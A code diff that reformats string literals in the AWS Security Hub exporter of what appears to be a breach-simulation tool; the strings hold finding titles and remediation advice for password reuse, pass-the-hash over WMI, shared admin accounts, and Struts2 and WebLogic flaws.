description="Change {0}'s password to a complex one-use password that is not shared with other computers on the "
"network.",
recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey authenticated over "
"the WMI protocol with user {username} and its password.".format(
machine=issue['machine'],
ip_address=issue['ip_address'],
username=issue['username']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@ -298,10 +314,13 @@ class AWSExporter(Exporter):
return AWSExporter._build_generic_finding(
severity=1,
title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
issue['username']),
recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey used a pass-the-hash attack over WMI protocol with user {username}".format(
machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']),
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the "
"network.".format(issue['username']),
recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey used a "
"pass-the-hash attack over WMI protocol with user {username}".format(
machine=issue['machine'],
ip_address=issue['ip_address'],
username=issue['username']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@ -325,9 +344,10 @@ class AWSExporter(Exporter):
return AWSExporter._build_generic_finding(
severity=1,
title="Shared local administrator account - Different machines have the same account as a local administrator.",
description="Make sure the right administrator accounts are managing the right machines, and that there isn\'t an unintentional local admin sharing.",
recommendation="Here is a list of machines which the account {username} is defined as an administrator: {shared_machines}".format(
username=issue['username'], shared_machines=issue['shared_machines']),
description="Make sure the right administrator accounts are managing the right machines, and that there isn\'t "
"an unintentional local admin sharing.",
recommendation="Here is a list of machines which the account {username} is defined as an administrator: "
"{shared_machines}".format(username=issue['username'], shared_machines=issue['shared_machines']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@ -339,7 +359,8 @@ class AWSExporter(Exporter):
severity=1,
title="Mimikatz found login credentials of a user who has admin access to a server defined as critical.",
description="This critical machine is open to attacks via strong users with access to it.",
recommendation="The services: {services} have been found on the machine thus classifying it as a critical machine. These users has access to it:{threatening_users}.".format(
recommendation="The services: {services} have been found on the machine thus classifying it as a critical "
"machine. These users has access to it:{threatening_users}.".format(
services=issue['services'], threatening_users=issue['threatening_users']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
@ -353,8 +374,8 @@ class AWSExporter(Exporter):
title="Struts2 servers are vulnerable to remote code execution.",
description="Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions.",
recommendation="Struts2 server at {machine} ({ip_address}) is vulnerable to remote code execution attack."
" The attack was made possible because the server is using an old version of Jakarta based file upload Multipart parser.".format(
machine=issue['machine'], ip_address=issue['ip_address']),
"The attack was made possible because the server is using an old version of Jakarta based file "
"upload Multipart parser.".format(machine=issue['machine'], ip_address=issue['ip_address']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@ -365,11 +386,11 @@ class AWSExporter(Exporter):
return AWSExporter._build_generic_finding(
severity=10,
title="Oracle WebLogic servers are vulnerable to remote code execution.",
description="Install Oracle critical patch updates. Or update to the latest version. " \
description="Install Oracle critical patch updates. Or update to the latest version. "
"Vulnerable versions are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0.",
recommendation="Oracle WebLogic server at {machine} ({ip_address}) is vulnerable to remote code execution attack."
" The attack was made possible due to incorrect permission assignment in Oracle Fusion Middleware (subcomponent: WLS Security).".format(
machine=issue['machine'], ip_address=issue['ip_address']),
"The attack was made possible due to incorrect permission assignment in Oracle Fusion Middleware "
"(subcomponent: WLS Security).".format(machine=issue['machine'], ip_address=issue['ip_address']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)

Some files were not shown because too many files have changed in this diff Show More